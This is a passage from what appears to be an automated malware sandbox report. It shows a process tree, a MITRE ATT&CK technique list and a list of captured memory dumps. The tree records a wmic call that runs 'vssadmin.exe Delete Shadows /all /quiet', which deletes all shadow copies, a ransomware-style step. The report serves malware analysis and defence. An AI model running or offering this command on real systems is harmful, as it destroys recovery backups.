PID:2984
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:3036
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2076

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1120-73-0x00000000002D0000-0x00000000002D5000-memory.dmp

Filesize
20KB

Download
memory/1224-60-0x00000000026F0000-0x0000000002700000-memory.dmp

Filesize
64KB

Download
memory/1660-76-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download
memory/1996-70-0x0000000000440000-0x0000000000441000-memory.dmp

Filesize
4KB

Download
memory/1996-71-0x0000000000450000-0x0000000000451000-memory.dmp

Filesize
4KB

Download
memory/1996-72-0x0000000000460000-0x0000000000461000-memory.dmp

Filesize
4KB

Download
memory/1996-67-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/1996-68-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/1996-66-0x00000000001D0000-0x00000000001D1000-memory.dmp

Filesize
4KB

Download
memory/1996-65-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/1996-64-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/1996-63-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1996-62-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/1996-74-0x0000000003B20000-0x0000000003B21000-memory.dmp

Filesize
4KB

Download
memory/1996-109-0x0000000003B40000-0x0000000003B41000-memory.dmp

Filesize
4KB

Download
memory/1996-61-0x0000000001DA0000-0x0000000002019000-memory.dmp

Filesize
2.5MB

Download
memory/1996-69-0x0000000000430000-0x0000000000431000-memory.dmp

Filesize
4KB

Download